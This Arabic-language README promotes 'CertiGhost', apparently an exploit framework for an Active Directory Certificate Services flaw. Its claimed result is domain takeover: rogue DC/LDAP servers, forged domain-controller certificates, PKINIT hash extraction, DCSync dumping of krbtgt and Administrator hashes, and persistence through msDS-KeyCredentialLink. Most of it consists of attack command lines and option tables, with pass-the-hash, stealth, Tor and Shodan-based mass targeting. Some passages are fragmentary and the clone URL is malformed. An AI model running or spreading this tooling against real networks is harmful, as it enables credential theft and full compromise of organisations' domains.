
👻 CVE-2026-54121 - أفضل إطار عمل CertiGhost AD CS Multi-Exploit Framework | مجموعة أدوات متقدمة مع خوادم DC/LDAP المارقة، وإساءة استخدام الشهادات، واستخراج تجزئات PKINIT. الميزات: كشف الفحص الآمن، استغلال كامل متعدد الخيوط. 🛡️ CVSS 8.8 مخاطر عالية - استخدمه بأخلاقية، والتزم بالقانون. 🔒

إطار عمل الاستغلال وأداة التدقيق
للاستخدام في الاختبارات الأمنية المصرح بها فقط.
detect_ip، وتعطيل التسجيل والمخرجات. استخدم "stealthcert.py" لهذا الإصدار.git clone https://tc4dy/CVE-2026-54121-PoC-Exploit
#install requirements
# Auto-discovers CA via LDAP, creates temp computer, spawns rogue servers, requests certificate with cdc redirect, extracts DC's NT hash via PKINIT, enables DCSync for domain takeover
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10
# Impersonates a specific Domain Controller (DC01$). Useful when you know exactly which DC to target. Bypasses auto-discovery
python3 certighost.py -d corp.local -u user -p Passw0rd --dc-ip 10.0.0.1 --target-san DC01$
# Uses NTLM hash instead of password. Works when password is unknown but hash is obtained. ':' before hash = empty LM hash
python3 certighost.py -d domain.local -u admin --hashes :8846f7eaee8fb117ad06bdd830b7586c --dc-ip 192.168.1.10
# Bypasses LDAP CA discovery. Uses explicitly provided CA IP and name. Useful when LDAP is restricted or CA is on different subnet
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10 --ca-ip 192.168.1.20 --ca "PLAYGROUND-CA"
# Native LDAP query to check if AD CS is present. Returns CA name and DNS. Read-only, safe for production. No exploitation performed
.\CertiGhost.ps1 -d playground.local --dc-ip 192.168.1.10 --username lowpriv -p Password123 --detect
# Runs native AD CS detection then calls Python certighost.py with all parameters. Requires certighost.py in same directory. Prints NT hash and ccache file
.\CertiGhost.ps1 -d corp.local --dc-ip 10.0.0.1 --username attacker -p P@ssw0rd --exploit --target-account DC01$
#Detection only mode. Saves results in JSON format. Useful for automation, reporting, and integration with other security tools
.\CertiGhost.ps1 -d domain.local --dc-ip 192.168.1.10 --username user -p pass --detect -o results.json
تنبع الثغرة من فحوصات تفويض وتحقق غير سليمة (CWE-285) داخل خدمات الشهادات في Active Directory (AD CS) أثناء عمليات تسجيل الشهادات. يمكن للمهاجم الذي يمتلك بيانات اعتماد مجال منخفضة الامتياز التلاعب بمعاملات إعادة توجيه الهدف لخداع المرجعية المصدقة (CA) للتحقق من تأكيدات الهوية ضد نقطة نهاية مارقة.
نقطة النهاية المعرضة / سياق الطلب:
POST /certsrv/mscep/mscep.dll HTTP/1.1
Host: ca-server.domain.local
Content-Type: application/x-www-form-urlencoded
... (Certificate Request payload with manipulated target/cdc parameters)
التلاعب بهدف المطاردة: يعدّل المهاجم معاملات إعادة توجيه الهدف (مثل cdc / هدف المطاردة) داخل طلب الشهادة، مما يجبر المرجعية المصدقة (CA) على توجيه حركة التحقق إلى نقطة نهاية محددة.
إعادة توجيه خادم مارق: تبدأ المرجعية المصدقة (CA) اتصالات LDAP أو SMB بالوجهة المقدمة من العميل دون التحقق مما إذا كان الهدف وحدة تحكم مجال شرعية ومصرحًا بها.
تزوير هوية وحدة التحكم بالمجال وإصدار الشهادة: يستجيب الخادم المارق الذي يسيطر عليه المهاجم لاستعلامات التحقق التي تصدرها CA نيابة عن حساب وحدة تحكم المجال المستهدف. وبناءً على هذا الاستجابة، تصدر CA شهادة موقعة صالحة تحمل هوية وحدة تحكم المجال.
باستخدام شهادة وحدة تحكم المجال التي تم الحصول عليها، يتم إجراء مصادقة Kerberos عبر PKINIT (تشفير المفتاح العام للمصادقة الأولية) لاسترجاع تذكرة TGT عالية الامتياز.
مع تذكرة Kerberos التي تمتلك صلاحيات وحدة تحكم المجال، يتم استخراج تجزئات كلمات المرور لجميع الحسابات في قاعدة بيانات Active Directory (مثل krbtgt، Administrator) باستخدام تقنية DCSync.
krbtgt المستخرج.msDS-KeyCredentialLink للحسابات المستهدفة لتأمين وصول مستمر.| السمة | القيمة |
|---|
| 📅 الاكتشاف / التصحيح | يوليو 2026 (ثلاثاء تصحيح Microsoft) |
| ⚠️ درجة CVSS | 8.8 (عالي) |
| 🏷️ الاسم الرمزي | Certighost |
| 🎯 المنتجات المتأثرة | Microsoft Active Directory Certificate Services |
| 🔄 الإصدارات المصححة | تحديث أمان يوليو 2026 |
| 🔓 المصادقة | حساب مجال منخفض الامتياز |
| 🌍 الأثر | اختراق كامل لمجال Active Directory |
| المعامل | الوصف | مثال |
|---|
-d, --domain | اسم DNS للمجال المستهدف (مطلوب) | -d playground.local |
-u, --username | مستخدم مجال منخفض الامتياز (مطلوب) | -u lowpriv |
-p, --password | كلمة مرور المستخدم | -p Password123 |
-H, --hashes | تجزئة NTLM [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--dc-ip | عنوان IP لوحدة تحكم المجال (مطلوب) | --dc-ip 192.168.1.10 |
--ca-ip | عنوان IP للمرجعية المصدقة (اختياري) | --ca-ip 192.168.1.20 |
--ca | اسم CA (يتم اكتشافه تلقائيًا إذا لم يتم تعيينه) | --ca "PLAYGROUND-CA" |
--listener | عنوان IP للمهاجم للخوادم المارقة | --listener 192.168.1.100 |
--target-san | حساب الكمبيوتر الذي سيتم انتحال شخصيته (مثل DC01$) | --target-san DC01$ |
--template | قالب الشهادة (الافتراضي: Machine) | --template Machine |
--computer-name | اسم حساب كمبيوتر موجود (مع $) | --computer-name GHOSTABCD$ |
--computer-pass | كلمة مرور الكمبيوتر الحالية | --computer-pass CGabc123... |
--computer-hash | تجزئة NT للكمبيوتر الحالي | --computer-hash 8846f7ea... |
--use-ldap | استخدام LDAP (389) بدلاً من LDAPS (636) | --use-ldap |
--exploit | تنفيذ الاستغلال | --exploit |
--detect | الاكتشاف فقط (بدون استغلال) | --detect |
-t, --threads | الحد الأقصى للخيوط للفحص الجماعي | -t 10 |
--timeout | مهلة كل طلب (بالثواني) | --timeout 10 |
--retry | عدد محاولات إعادة المحاولة عند الفشل | --retry 3 |
--delay | التأخير الأساسي بين الطلبات | --delay 1.0 |
--proxy | عنوان URL للوكيل | --proxy http://127.0.0.1:8080 |
--no-verify | تعطيل التحقق من SSL | --no-verify |
--tor | استخدام وكيل Tor (socks5h://127.0.0.1:9050) | --tor |
-o, --output | ملف الإخراج (.json, .csv, .jsonl) | -o results.json |
-v, --verbose | إخراج مفصّل | -v |
-q, --quiet | الوضع الصامت | -q |
-h, --help | عرض المساعدة | -h |
| المعامل | الوصف | مثال |
|---|
-t, --target | عنوان IP أو اسم مضيف CA المستهدف (مطلوب) | -t 192.168.1.20 |
-d, --domain | اسم DNS للمجال المستهدف (مطلوب) | -d playground.local |
--dc-ip | عنوان IP لوحدة تحكم المجال (مطلوب) | --dc-ip 192.168.1.10 |
-u, --username | مستخدم مجال منخفض الامتياز (مطلوب) | -u lowpriv |
-p, --password | كلمة مرور المستخدم | -p Password123 |
-H, --hashes | تجزئة NTLM [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--computer-name | اسم حساب كمبيوتر موجود (مع $) | --computer-name GHOSTABCD$ |
--computer-pass | كلمة مرور الكمبيوتر الحالية | --computer-pass CGabc123... |
--computer-hash | تجزئة NT للكمبيوتر الحالي | --computer-hash 8846f7ea... |
--target-account | الحساب الذي سيتم انتحال شخصيته (مثل DC01$) | --target-account DC01$ |
--template | قالب الشهادة (الافتراضي: Machine) | --template Machine |
--listener | عنوان IP للمهاجم للخوادم المارقة (اكتشاف تلقائي إذا لم يتم تعيينه) | --listener 192.168.1.100 |
--use-ldap | استخدام LDAP (389) بدلاً من LDAPS (636) | --use-ldap |
--keep-files | الاحتفاظ بملفات .pfx و .ccache (الافتراضي: حذف) | --keep-files |
-h, --help | عرض المساعدة | -h |
| المعامل | الوصف | مثال |
|---|
-u, --url | عنوان IP أو اسم مضيف CA المستهدف | -u 192.168.1.20 |
-l, --list | ملف يحتوي على الأهداف (هدف واحد في كل سطر) | -l targets.txt |
--shodan | تحميل الأهداف من Shodan | --shodan |
--shodan-query | استعلام بحث Shodan | --shodan-query "AD CS Certificate" |
-d, --domain | اسم DNS للمجال المستهدف (مطلوب) | -d playground.local |
--dc-ip | عنوان IP لوحدة تحكم المجال (مطلوب) | --dc-ip 192.168.1.10 |
--username | مستخدم مجال منخفض الامتياز (مطلوب) | --username lowpriv |
-p, --password | كلمة مرور المستخدم | -p Password123 |
-H, --hashes | تجزئة NTLM [LM:]NT | -H :8846f7ea... |
--computer-name | اسم حساب كمبيوتر موجود (مع $) | --computer-name GHOSTABCD$ |
--computer-pass | كلمة مرور الكمبيوتر الحالية | --computer-pass CGabc123... |
--computer-hash | تجزئة NT للكمبيوتر الحالي | --computer-hash 8846f7ea... |
--target-account | الحساب الذي سيتم انتحال شخصيته (مثل DC01$) | --target-account DC01$ |
--template | قالب الشهادة (الافتراضي: Machine) | --template Machine |
--listener | عنوان IP للمهاجم للخوادم المارقة | --listener 192.168.1.100 |
--use-ldap | استخدام LDAP (389) بدلاً من LDAPS (636) | --use-ldap |
--exploit | تنفيذ الاستغلال | --exploit |
--detect | الاكتشاف فقط (بدون استغلال) | --detect |
-t, --threads | الحد الأقصى للخيوط للفحص الجماعي | -t 10 |
--timeout | مهلة كل طلب (بالثواني) | --timeout 10 |
--retry | عدد محاولات إعادة المحاولة عند الفشل | --retry 3 |
--delay | التأخير الأساسي بين الطلبات | --delay 1.0 |
--proxy | عنوان URL للوكيل | --proxy http://127.0.0.1:8080 |
--no-verify | تعطيل التحقق من SSL | --no-verify |
--tor | استخدام وكيل Tor | --tor |
-o, --output | ملف الإخراج (.json, .csv, .jsonl) | -o results.json |
-v, --verbose | إخراج مفصّل | -v |
-q, --quiet | الوضع الصامت | -q |
-h, --help | عرض المساعدة | -h |